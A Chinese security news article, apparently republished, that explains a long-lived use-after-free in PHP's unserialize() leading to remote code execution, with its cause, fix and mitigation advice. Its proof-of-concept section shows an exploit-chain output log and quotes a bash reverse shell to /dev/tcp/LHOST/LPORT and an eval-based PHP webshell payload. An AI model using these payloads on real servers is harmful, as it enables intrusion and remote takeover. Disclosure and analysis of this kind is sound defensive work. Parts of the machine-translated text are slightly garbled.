当前位置:首页>php>PHP中潜伏21年的致命漏洞:MAD Bugs详解

PHP中潜伏21年的致命漏洞:MAD Bugs详解

  • 2026-10-11 08:16:10
PHP中潜伏21年的致命漏洞:MAD Bugs详解

威胁简报

恶意软件

漏洞攻击

PHP中潜伏21年的致命漏洞:MAD Bugs详解近日,安全团队Calif.io发布了一篇技术博客,揭露了一个在PHP中隐藏了21年的严重漏洞。该漏洞被命名为“MAD Bugs”,主要影响unserialize()函数,可导致使用后释放(Use-After-Free,UAF)问题,最终可能实现远程代码执行(RCE)。这个漏洞自PHP 5.1(2005年)引入Serializable接口以来就存在,直至2026年才被发现。

漏洞成因漏洞的核心位于zend_user_unserialize()方法中对Serializable接口的处理。当处理可序列化对象时,代码路径没有正确递增BG(serialize_lock),导致嵌套调用unserialize()时,内外层共享同一个var_hash表。攻击者精心构造Payload:

  • 通过递归调用unserialize()并修改对象属性,触发属性表resize并释放内存。

  • 使用堆喷射(spray)回收已释放的内存槽。

  • 利用反向引用(R:N)解引用已释放的内存,实现内存破坏。

这一过程可进一步泄露堆地址、构建读原语、伪造对象(如Closure或stdClass),最终实现代码执行,例如调用system()函数。

影响范围与利用难度受影响版本:

  • 从PHP 5.1到最新测试的PHP 8.5.5均存在该漏洞路径。

  • 利用方式:本地利用约需30次触发即可RCE;远程利用针对接受用户输入并传入unserialize()的端点,约需2000次HTTP请求。利用绕过了disable_functions,无需/proc访问或硬编码偏移。

  • 实际风险:虽然需要特定的递归unserialize

反序列化+属性增长的类模式(现实中较少见),但一旦存在可控反序列化入口,后果极为严重。

修复与建议

PHP官方已通过在zend_user_unserialize()中添加BG(serialize_lock)++来修复该问题。但PHP自2017年起将unserialize相关的内存破坏视为非安全问题,仅修复而不分配CVE,强烈推荐对不可信数据使用json_decode()代替unserialize()。

Calif团队还开源了用于发现该漏洞的AI驱动审计工具(Skill),欢迎安全研究者进一步探索:https://github.com/califio/skills。这起事件再次提醒开发者:反序列化操作始终是高危来源,即使是成熟语言的核心功能,也可能潜藏长期隐患。建议立即检查代码中所有unserialize()的使用场景,并尽快升级到包含修复的PHP版本。(本文基于Calif.io官方博客编译,图片可参考原文中的技术示意图、利用流程图及PoC演示截图。)

原文链接:https://blog.calif.io/p/mad-bugs-finding-and-exploiting-a此漏洞的发现不仅是技术上的里程碑,也体现了AI在代码审计领域的强大潜力。开发者们,行动起来,保护好你们的PHP应用!

概念验证

在 linux/amd64 和 linux/arm64 平台上,使用 Docker 进行 3/3 次成功运行,php:8.5-apache并启用了完整的 ASLR,每次运行之间都重启了容器:

$ ./run_remote_poc.sh[*] Container up; endpoint: http://127.0.0.1:8081/remote_app.php============================================================  Full chain: heap -> ELF -> EG -> system() -> RCE  Target: 127.0.0.1:8081============================================================[Phase R-1] Heap leak  heap_ref = 0xffffb6a58240[Phase R-2] Finding libphp.so  ELF @ 0xffffb7000000 phnum=8 (8 reqs)  ELF @ 0xffffb7400000 phnum=9 (12 reqs)  ...  ELF @ 0xffffb8900000 phnum=9 (565 reqs)[Phase R-3] Resolving symbols via .gnu_hash  Trying ELF @ 0xffffb7400000 (phnum=9)    symbol 'executor_globals' not found at 0xffffb7400000  ...  Trying ELF @ 0xffffb3400000 (phnum=8)  libphp = 0xffffb3400000  executor_globals = 0xffffb4b45888 (offset 0x1745888)  PLTGOT = 0xffffb4a5ffe8[Phase R-4] Libc discovery via GOT dump    Reading GOT via DT_PLTRELSZ len=85392 (0x14d90)    External pointer groups: 23 total, 18 nearby      libc @ 0xffffb8690000, system @ 0xffffb86d9380  system() = 0xffffb86d9380[Phase R-5] EG and stdClass class entry    class_table = 0xaaaaefae7bb0  stdclass ce = 0xaaaaefbbf6d0[Phase R-6] Spray slot discovery  Found spray at slot 5 @ 0xffffb6a75640  S = 0xffffb6a75658[Phase R-7] Type confusion to libc system()  stdClass ce = 0xaaaaefbbf6d0  system() = 0xffffb86d9380  Command (after GC_ADDREF): \nid>/dev/shm/x  Sending RCE payload...[*] Total requests: 2375[*] Verifying inside container:============================================================  RCE SUCCESS: /dev/shm/x in php-uaf-poc    uid=33(www-data) gid=33(www-data) groups=33(www-data)============================================================

对于任何更长的请求,该漏洞利用程序都会重复执行步骤 4。R-1 到 R-6 会发现所有 prefork 工作进程中都稳定的值(它们都从同一个父进程 fork 出来,因此 libphp、libc、堆块和喷洒槽在所有地方都位于相同的地址),所以一旦这些阶段完成,每增加一个 14 字节system()就相当于一次额外的请求。

它每次通过 DocumentRoot--reverse LHOST:LPORT组装三个字节,最后触发(约 25 次额外触发);对写入操作执行相同的操作,然后触发(约 16 次触发)。

bash -i >&/dev/tcp/LHOST/LPORT 0>&1echo -n …>>wbash w&--webshell<?=eval($_REQUEST[1])?>mv w c.php

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安 

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)

最新文章

随机文章